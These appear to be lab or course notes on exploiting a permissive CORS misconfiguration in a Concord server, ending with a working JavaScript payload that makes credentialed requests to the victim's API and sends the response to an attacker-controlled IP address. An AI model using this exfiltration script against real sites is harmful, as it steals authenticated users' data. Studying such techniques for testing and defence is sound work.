Discovering Unsafe CORS Headers
Add “Origin” header to request to determine how the endpoint reacts to CORS policy.
Every endpoint and HTTP method can have different CORS headers depending on the actions that are allowed or disallowed. Since we know that all non-standard GET and POST requests will send an OPTIONS request first to check if it can send the subsequent request, let’s change the method to OPTIONS and review the response.
When an OPTIONS request is sent, the Origin header is not replicated to the Access-Control-Allow-Origin header. Unfortunately, this means that the CORS vulnerability is limited. We will only be able to read the response of GET requests and standard POST requests.
Exploit Permissive CORS and CSRF
The difference with CORS and XSS is that the link we send will not be on the same domain as the site we are targeting.
Because Concord has placed some restrictions on the CORS header, we must be selective in the types of requests we are searching for. When we review the documentation, we’ll search for a GET request that allows us to obtain sensitive information (like secrets or API keys), a GET request that changes the state of the application, or a POST request that only uses standard content-types.
| Multiline Payload using YAML HereDoc (Using | ) |
- https://lzone.de/cheat-sheet/YAML#yaml-heredoc-multiline-strings
Delivering the payload (Setup our own website)
- Using Fetch is comparable to XMLHTTPRequest: https://fetch.spec.whatwg.org/
javascript (index.html)
<script>
fetch("http://concord:8001/api/service/console/whoami", {
credentials: 'include' // includes sending of credentials
})
.then(async (response) => {
if(response.status != 401){ // if response is not 401, data is sent back
let data = await response.text();
fetch("http://192.168.118.2/?msg=" + data )
}else{
fetch("http://192.168.118.2/?msg=UserNotLoggedIn" ) // otherwise return unauthenticated
}
})
</script>